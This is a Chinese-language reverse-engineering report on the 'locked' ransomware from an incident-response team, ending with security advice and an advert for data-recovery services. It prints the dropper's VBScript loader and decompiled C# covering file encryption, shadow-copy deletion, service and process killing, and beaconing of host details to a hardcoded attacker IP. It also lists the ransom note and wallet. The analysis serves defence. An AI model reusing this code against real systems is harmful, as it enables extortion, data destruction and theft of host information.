【病毒分析】locked勒索病毒分析

时间: 2024-10-17 16:16:14 浏览量:197

1.背景

1.1来源

  近期,Solar团队收到某物流公司的援助请求,该公司的计算机服务器受到了locked勒索家族的侵害,所有的文件被加密并且添加了.locked后缀,该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。

2.恶意文件基础信息

2.1 文件基础信息

文件名78403c39.exe
大小5632(5.50 KiB)
操作系统Windows(95)
架构I386
模式32 位
类型控制台
字节序LE
MD5d6a722fc1d3e4998de93f6112dded913
SHA25616482e6c3ad97f048851f87b67446a64340eeb8e

2.2 勒索信

send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:service@helloworldtom.online,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID

2.3 update5.hta

  在被感染的主机上找到了可疑文件,hta文件中嵌入了VBScript代码用于实现恶意功能

<script language="VBScript">
Sub DebugPrint(s)
End Sub

Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
End Sub

Function Base64ToStream(b)
  Dim enc, length, ba, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
...省略约20000行
s = s & "AAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5"
s = s & "IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
entry_class = "EfsPotato.Mshta"

Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add Empty

Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)

End Sub

SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
  DebugPrint Err.Description
  Err.Clear
End If
self.close
</script>

  此代码的功能主要为,将上述的base64字符串反序列化之后执行相关的恶意功能,此程序会释放4个相关文件。

3.恶意文件分析

3.1 威胁分析

病毒家族locked
首次出现时间/捕获分析时间2024/03/20 || 2024/03/20
威胁类型勒索软件,加密病毒
勒索软件地区国外
加密文件扩展名.locked
勒索信文件名READ_ME6.html
有无免费解密器?
联系邮箱service@helloworldtom.online
检测名称Avast (Win32:RansomX-gen Ransom), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen Ransom), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected)
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.locked)。桌面上会显示一条勒索要求消息(READ_ME6.html)。网络犯罪分子要求通过邮箱联系后支付比特币后提供数据恢复工具
感染方式钓鱼
受灾影响大部分文件将被加密

3.2 加密器

  此文件的执行参数如下

78403c39.exe  78403c39.bin z5nYkKl64ZNkhDpQT02vW2I6qudygrPl z5nYkKl64ZNkhDpQ

4.逆向分析

using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

// Token: 0x02000002 RID: 2
internal class Program
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    private static void Main(string[] args)
    {
        Console.WriteLine("Start Update");
        if (args.Length == 0)
        {
            Console.WriteLine("helloworld");
            return;
        }
        if (args.Length != 3)
        {
            Console.WriteLine("helloworld1");
            return;
        }
        string s = args[1];
        string s2 = args[2];
        byte[] bytes = Encoding.UTF8.GetBytes(s);
        byte[] bytes2 = Encoding.UTF8.GetBytes(s2);
        byte[] array = Program.File2Byte(args[0]);
        if (array != null)
        {
            Assembly.Load(Program.Decrypt(array, bytes, bytes2)).CreateInstance("U").Equals("");
            return;
        }
        Console.WriteLine("helloworld2");
    }

    // Token: 0x06000002 RID: 2 RVA: 0x000020E4 File Offset: 0x000002E4
    public static byte[] Decrypt(byte[] cipherText, byte[] key, byte[] iv)
    {
        byte[] result;
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.Key = key;
            rijndaelManaged.IV = iv;
            ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
                {
                    cryptoStream.Write(cipherText, 0, cipherText.Length);
                }
                result = memoryStream.ToArray();
            }
        }
        return result;
    }

    // Token: 0x06000003 RID: 3 RVA: 0x00002188 File Offset: 0x00000388
    public static byte[] File2Byte(string filePath)
    {
        byte[] result;
        try
        {
            using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            {
                byte[] array = new byte[fileStream.Length];
                fileStream.Read(array, 0, (int)fileStream.Length);
                result = array;
            }
        }
        catch (Exception)
        {
            result = null;
        }
        return result;
    }
}

  程序将会读取第一个参数作为文件路径,以及第二个和第三个参数作为密钥和初始向量,然后调用 Decrypt 方法对指定的文件进行解密操作,并尝试加载解密后的内容为一个程序集,并创建其名为 "U" 的实例。

  Decrypt 方法是一个静态方法,用于对给定的密文进行解密。它使用了对称加密算法 Rijndael,并通过密钥和初始向量进行解密操作。

  File2Byte 方法也是一个静态方法,用于将指定文件的内容读取为字节数组并返回。

  那么推测恶意行为的代码存在于Assembly.Load加载的解密的内容中,捕获此部分内容输出到文件output.bin中。

4.1 核心程序

文件名output.bin
大小28672(28.00 KiB)
操作系统Windows(95)
架构I386
模式32 位
类型DLL
字节序LE
MD55b5415d4895b7da6f4d8c2a8efa1d06a
SHA2562881194b7e0939d47165c894c891737d8c189ee8fb4720e814a4bcdd804d00d1

4.2 函数RUN

  恶意功能从此处开始运行,调用了U.SleepRand();进行了随机休眠,可能是为了逃避沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID

private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA==";

Dictionary<string, string> key = rsautil.GetKey();
string pubKey = key["PublicKey"];
string strEncryptString = key["PrivateKey"];
string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
// U
// Token: 0x06000011 RID: 17 RVA: 0x00002578 File Offset: 0x00000778
public bool Run()
{
    U.SleepRand();
    int tickCount = Environment.TickCount;
    if (!U.IsNotRunning())
    {
        U.SendHttp("already2 runing1");
        return false;
    }
    U.Destroy();
    string text = common.GetWritePath() + "\\pubkey9.txt";
    string text2 = common.GetWritePath() + "\\show9.txt";
    string path = common.GetWritePath() + "\\hellotest1.txt";
    common.GetWritePath() + "\\more9.txt";
    if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
    {
        U.SendHttp("already3 runing1");
        return false;
    }
    if (!U.skipJava && File.Exists(path))
    {
        U.SendHttp("already555 runing1");
        return false;
    }
    Console.WriteLine("generate new");
    RSAUtil rsautil = new RSAUtil();
    Dictionary<string, string> key = rsautil.GetKey();
    string pubKey = key["PublicKey"];
    string strEncryptString = key["PrivateKey"];
    string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
    string contents = rsautil.EncrytByPublic(U.personPubKey, DateTime.Now.ToString() + U.GetInfo());
    if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
    {
        U.SendHttp("already4 runing1");
        return false;
    }
    if (!U.skipJava && File.Exists(path))
    {
        U.SendHttp("already66 runing1");
        return false;
    }
    try
    {
        File.WriteAllText(text, contents);
        File.WriteAllText(text2, text3);
    }
    catch
    {
    }
    U.SendHttp("start5run");
    int encSize = 10485760;
    List<string> list = new List<string>();
    list.Add(common.GetEnvByName("USERPROFILE"));
    list.Add(common.GetEnvByName("PUBLIC"));
    list.Add(common.GetEnvByName("HOMEPATH"));
    foreach (string item in Environment.GetLogicalDrives())
    {
        list.Add(item);
    }
    U.appendDebugMsg("paths:" + string.Join(",", list.ToArray()));
    foreach (string text4 in list)
    {
        U.appendDebugMsg("run dir:" + text4);
        U.RunEncProcessDirectory(text4, pubKey, encSize, text3);
    }
    U.SendHttp("done--" + U.countFile.ToString());
    return true;
}

4.3 函数RunEncProcessDirectory

  此处对目录进行迭代搜索:

  1. 首先,它尝试获取指定路径下的所有文件,并对每个文件执行以下操作:

    1. 检查文件是否允许加密(通过 U.IsAllowExt(text) 方法判断)。

    2. 确保文件名中不包含特定的字符串(U.msgFileName(即READ_ME6.html)、"pubkey.txt"、"show.txt")。

    3. 如果文件符合条件,则开始对该文件执行加密操作,调用 U.RunEncProcessFile() 方法。

    4. 在加密文件后,检查文件计数是否达到一定值(U.countFile 不为零且小于等于 2000,并且能被 500 整除),如果满足条件,则发送一个 HTTP 消息,通知加密进度。

  2. 接着,它尝试获取指定路径下的所有子目录,并对每个子目录执行以下操作:

  1. 检查该子目录是否被阻止加密(通过 U.IsBlockDir(text2) 方法判断),如果未被阻止,则递归调用 RunEncProcessDirectory 方法。

// U
// Token: 0x06000016 RID: 22 RVA: 0x0000296C File Offset: 0x00000B6C
public static void RunEncProcessDirectory(string path, string pubKey, int encSize, string showID)
{
    if (path.Length == 0)
    {
        return;
    }
    try
    {
        foreach (string text in Directory.GetFiles(path))
        {
            if (U.IsAllowExt(text) && !text.Contains(U.msgFileName) && !text.Contains("pubkey.txt") && !text.Contains("show.txt"))
            {
                U.appendDebugMsg("start enc file:" + text);
                U.RunEncProcessFile(text, pubKey, encSize, showID);
                if (U.countFile != 0 && U.countFile <= 2000 && U.countFile % 500 == 0)
                {
                    U.SendHttp("do-" + U.countFile.ToString());
                }
            }
            else
            {
                U.appendDebugMsg("skip enc file:" + text);
            }
        }
    }
    catch
    {
    }
    try
    {
        foreach (string text2 in Directory.GetDirectories(path))
        {
            if (!U.IsBlockDir(text2))
            {
                U.RunEncProcessDirectory(text2, pubKey, encSize, showID);
            }
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("read dir from path {0} error {1}", path, ex.Message);
    }
    U.WriteMsg(path, showID);
}

4.4 函数IsAllowExt

  白名单文件后缀

public static bool IsAllowExt(string name)
    {
        foreach (string text in U.extensionsToEncrypt)
        {
            if (name.ToLower().EndsWith(text.ToLower()))
            {
                return true;
            }
        }
        return false;
    }
private static readonly string[] extensionsToEncrypt = new string[]
    {
        "1cd",
        "3dm",
        "3ds",
        "3fr",
        "3g2",
        "3gp",
        "3pr",
        "602",
        "7z",
        "ps1",
        "7zip",
        "aac",
        "ab4",
        "accdb",
        "accde",
        "accdr",
        "accdt",
        "ach",
        "acr",
        "act",
        "adb",
        "adp",
        "ads",
        "aes",
        "agdl",
        "zip",
        省略其他正常白名单后缀
    };

4.5 函数IsBlockDir

  文件夹黑名单,不加密此类文件夹以及其子文件夹。

public static bool IsBlockDir(string name)
    {
        foreach (string text in U.blockDirName)
        {
            if (name.ToLower().Contains(text.ToLower()))
            {
                return true;
            }
        }
        return false;
    }
private static readonly string[] blockDirName = new string[]
    {
        "EFI.Boot",
        "EFI.Microsoft",
        ":.Windows",
        "All Users",
        "Boot",
        "IEidcache",
        "ProgramData",
        "desktop.ini",
        "autorun.inf",
        "netuser.dat",
        "ntuser.dat",
        "bootsect.bak",
        "iconcache.db",
        "thumbs.db",
        "Local Settings",
        "bootfont.bin",
        "System Volume Information",
        "AppData",
        "Recycle.Bin",
        ":.Recovery",
        "Windows\\System32",
        "Windows\\System",
        "Windows\\SysWOW64",
        "Windows\\security",
        "WindowsPowerShell",
        "Windows\\assembly",
        "Windows\\Microsoft.NET",
        "Windows\\Fonts",
        "Windows\\IME",
        "Windows\\boot",
        "Windows\\inf",
        "show",
        "pubkey",
        "READ_ME",
        "README"
    };

4.6 函数SendHttp

  向107.175.127.195发送相关信息,此ip归属地为美国得克萨斯州达拉斯。向服务器发送用户相关信息,包括MachineNameUserNameProcessorCountVersion isadmin,并伪装为百度的流量Host:``css.baidu.com

public static string httpAddr = "107.175.127.195";
public static int httpPort = 80;
public static void SendHttp(string s)
{
    IPAddress[] hostAddresses = Dns.GetHostAddresses(Dns.GetHostName());
    s += "--";
    s = s + Environment.MachineName + "--";
    s = s + Environment.UserName + "--";
    s = s + Environment.ProcessorCount + "--";
    s = s + Environment.Version + "--";
    s = s + new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString() + "--";
    foreach (IPAddress ipaddress in hostAddresses)
    {
        s = s + ipaddress.ToString() + ",";
    }
    s = Uri.EscapeDataString(s);
    string s2 = "GET /css/css.css?v=" + s + " HTTP/1.1\r\nHost:css.baidu.com\r\n\r\n";
    try
    {
        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(U.httpAddr), U.httpPort);
        socket.Connect(remoteEP);
        socket.Send(Encoding.Default.GetBytes(s2));
        Thread.Sleep(1000);
        socket.Close();
    }
    catch (Exception ex)
    {
        Console.WriteLine("error socket {0}", ex.Message);
    }
}    

4.7 函数Destroy

  - 通过 U.ExecuteCmd() 方法执行了一系列 net stop 命令,用于停止服务;

  - 通过 U.ExecuteCmd() 方法执行了 vssadmin delete shadows /all 命令,用于删除所有卷影副本;

  - 通过 U.ExecuteCmd() 方法执行了一系列 taskkill 命令,用于强制终止指定名称的进程。

// U
// Token: 0x0600001C RID: 28 RVA: 0x00002DA0 File Offset: 0x00000FA0
public static void Destroy()
{
    U.ExecuteCmd("net stop SQLTELEMETRY");
    U.ExecuteCmd("net stop ReportServer");
    U.ExecuteCmd("net stop SQLSERVERAGENT");
    U.ExecuteCmd("net stop MSSQLServerOLAPService");
    U.ExecuteCmd("net stop SQLBrowser");
    U.ExecuteCmd("net stop SQLWriter");
    U.ExecuteCmd("net stop mssqlserver");
    U.ExecuteCmd("net stop msmq");
    U.ExecuteCmd("net stop mssql");
    U.ExecuteCmd("net stop mysql");
    U.ExecuteCmd("net stop mongodb");
    U.ExecuteCmd("net stop rabbitmq");
    U.ExecuteCmd("vssadmin delete shadows /all");
    U.ExecuteCmd("taskkill /f /im msftesql.exe");
    U.ExecuteCmd("taskkill /f /im sqlagent.exe");
    U.ExecuteCmd("taskkill /f /im sqlbrowser.exe");
    U.ExecuteCmd("taskkill /f /im sqlservr.exe");
    U.ExecuteCmd("taskkill /f /im sqlwriter.exe");
    U.ExecuteCmd("taskkill /f /im oracle.exe");
    U.ExecuteCmd("taskkill /f /im ocssd.exe");
    U.ExecuteCmd("taskkill /f /im dbsnmp.exe");
    U.ExecuteCmd("taskkill /f /im synctime.exe");
    U.ExecuteCmd("taskkill /f /im mydesktopqos.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeisqlplussvc.exe");
    U.ExecuteCmd("taskkill /f /im xfssvccon.exe");
    U.ExecuteCmd("taskkill /f /im mydesktopservice.exe");
    U.ExecuteCmd("taskkill /f /im ocautoupds.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeagntsvc.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeencsvc.exe");
    U.ExecuteCmd("taskkill /f /im firefoxconfig.exe");
    U.ExecuteCmd("taskkill /f /im tbirdconfig.exe");
    U.ExecuteCmd("taskkill /f /im ocomm.exe");
    U.ExecuteCmd("taskkill /f /im mysqld.exe");
    U.ExecuteCmd("taskkill /f /im mysqld-nt.exe");
    U.ExecuteCmd("taskkill /f /im mysqld-opt.exe");
    U.ExecuteCmd("taskkill /f /im dbeng50.exe");
    U.ExecuteCmd("taskkill /f /im sqbcoreservice.exe");
    U.ExecuteCmd("taskkill /f /im excel.exe");
    U.ExecuteCmd("taskkill /f /im infopath.exe");
    U.ExecuteCmd("taskkill /f /im msaccess.exe");
    U.ExecuteCmd("taskkill /f /im mspub.exe");
    U.ExecuteCmd("taskkill /f /im onenote.exe");
    U.ExecuteCmd("taskkill /f /im outlook.exe");
    U.ExecuteCmd("taskkill /f /im powerpnt.exe");
    U.ExecuteCmd("taskkill /f /im steam.exe");
    U.ExecuteCmd("taskkill /f /im sqlservr.exe");
    U.ExecuteCmd("taskkill /f /im thebat.exe");
    U.ExecuteCmd("taskkill /f /im thebat64.exe");
    U.ExecuteCmd("taskkill /f /im thunderbird.exe");
    U.ExecuteCmd("taskkill /f /im visio.exe");
    U.ExecuteCmd("taskkill /f /im winword.exe");
    U.ExecuteCmd("taskkill /f /im wordpad.exe");
    U.ExecuteCmd("taskkill /f /im tnslsnr.exe");
}

4.8 函数WriteMsg

  写入勒索信息

hosttypetargetpri
helloworldtom.onlineMXmx1.titan.email10
helloworldtom.onlineMXmx2.titan.email20
// U
// Token: 0x06000018 RID: 24 RVA: 0x00002ADC File Offset: 0x00000CDC
public static void WriteMsg(string path, string showId)
{
    try
    {
        if (!File.Exists(path + "\\" + U.msgFileName))
        {
            File.WriteAllText(path + "\\" + U.msgFileName, U.readMeMsg.Replace("PERSONID", showId));
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("write readme file error {0}", ex.Message);
    }
}
private static string btcCount = "0.08";
private static string btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l";
private static string email = "service@helloworldtom.online";
private static string readMeMsg = string.Concat(new string[]
    {
        "send ",
        U.btcCount,
        "btc to my address:",
        U.btcAddr,
        ". contact email:",
        U.email,
        ",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID"
    });

4.9 函数RunEncProcessFile

  1. 在 try-catch 块中,首先调用 common.FileEncryptNew() 方法执行文件加密操作,将加密后的文件保存为原文件名加上指定的文件扩展名(U.fileExtension)。

  2. 每次成功加密一个文件后,递增 U.countFile 变量,用于记录加密文件的数量。

  3. 调用 U.appendDebugMsg() 方法记录加密成功的消息。

  4. 如果在加密过程中发生异常,捕获异常并输出错误消息到控制台,然后调用 U.appendDebugMsg() 方法记录加密失败的消息,包括文件名和异常信息。

private static readonly string fileExtension = ".locked";

// U
// Token: 0x06000015 RID: 21 RVA: 0x000028EC File Offset: 0x00000AEC
public static void RunEncProcessFile(string filename, string pubKey, int encSize, string encPrivateKey)
{
    try
    {
        common.FileEncryptNew(filename, filename + U.fileExtension, pubKey, encSize);
        U.countFile++;
        U.appendDebugMsg("enc file success" + filename);
    }
    catch (Exception ex)
    {
        Console.WriteLine("enc from filename {0} error {1}", filename, ex.Message);
        U.appendDebugMsg("enc file fail:" + filename + "reason:" + ex.ToString());
    }
}

4.10 函数FileEncryptNew

  用于执行文件加密操作,其中使用了 RSA 加密算法和 Rijndael 对称加密算法。

public static bool FileEncryptNew(string inputFile, string outputFile, string pubKey, int size)
    {
        bool flag = true;
        byte[] rand = common.GetRand(2);
        byte[] rand2 = common.GetRand(1);
        byte[] array = new byte[48];
        Buffer.BlockCopy(rand, 0, array, 0, rand.Length);
        Buffer.BlockCopy(rand2, 0, array, rand.Length, rand2.Length);
        byte[] array2 = new RSAUtil().EncryptByBytes(array, pubKey);
        FileStream fileStream = new FileStream(outputFile, FileMode.Create);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.KeySize = 256;
        rijndaelManaged.BlockSize = 128;
        rijndaelManaged.Padding = PaddingMode.PKCS7;
        rijndaelManaged.Key = rand;
        rijndaelManaged.IV = rand2;
        rijndaelManaged.Mode = CipherMode.CFB;
        fileStream.Write(array2, 0, array2.Length);
        CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
        FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
        byte[] array3 = new byte[size];
        try
        {
            int count;
            while ((count = fileStream2.Read(array3, 0, array3.Length)) > 0)
            {
                cryptoStream.Write(array3, 0, count);
            }
            fileStream2.Close();
        }
        catch (Exception ex)
        {
            flag = false;
            Console.WriteLine("Error: " + ex.Message);
            U.appendDebugMsg("enc file" + inputFile + " fail:" + ex.ToString());
        }
        finally
        {
            cryptoStream.Close();
            fileStream.Close();
        }
        if (flag)
        {
            if (!common.RemoveFile(inputFile))
            {
                common.RemoveFile(outputFile);
            }
        }
        else
        {
            common.RemoveFile(outputFile);
        }
        return flag;
    }

5.病毒分析概览

  程序启动后,通过VBScript释放文件1,2,在文件1中使用文件2作为参数,使用AES算法解密文件2的内容后得到DLL类型的C#可执行程序,文件1加载此程序并直接调用其恶意功能。

  恶意程序启动之后,随机休眠一段时间,可能为了避免沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID,关闭了系统的部分服务与进程,随机生成AES密钥用于加密文件,并用随机生成的公钥加密AES加密的相关信息写在文件头部。

6.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

7.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318